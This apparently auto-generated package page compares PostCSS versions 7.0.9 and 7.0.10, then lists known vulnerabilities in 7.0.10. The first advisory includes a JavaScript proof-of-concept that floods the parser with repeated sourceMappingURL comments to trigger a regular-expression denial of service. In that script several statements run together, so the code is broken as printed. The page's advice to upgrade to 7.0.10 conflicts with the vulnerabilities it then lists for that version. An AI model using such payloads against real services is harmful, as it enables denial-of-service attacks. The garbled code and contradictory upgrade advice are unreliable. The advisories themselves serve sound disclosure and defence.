PostCSS is a powerful JavaScript tool for transforming styles, widely used by developers to automate CSS tasks, enhance code quality, and improve workflow. Examining versions 7.0.9 and 7.0.10 reveals subtle but potentially important differences for users. Both versions, licensed under MIT, share the same core dependencies: Chalk for colorful console output, Source Map for debugging, and Supports Color for terminal color detection. The author remains Andrey Sitnik, ensuring continuity in development philosophy.
The primary distinction lies in the dist object. While both packages contain 35 files, version 7.0.10 has a slightly larger unpacked size of 597915 bytes compared to 7.0.9's 597835 bytes. This suggests minor additions or adjustments, potentially bug fixes or performance improvements, within the codebase. More crucially, the releaseDate indicates that version 7.0.10 was published after 7.0.9 (January 11, 2019, at 20:15:12.427Z vs. 14:18:56.974Z).
For developers, upgrading to 7.0.10 is generally recommended. While the specific changes are not explicitly detailed here, the updated release date implies that it incorporates the latest refinements and resolves any issues present in 7.0.9. Given the stability of major version 7, the upgrade should be seamless, offering a potentially more reliable and efficient experience. Always refer to the official PostCSS changelog for comprehensive details on specific changes between versions.
All the vulnerabilities related to the version 7.0.10 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.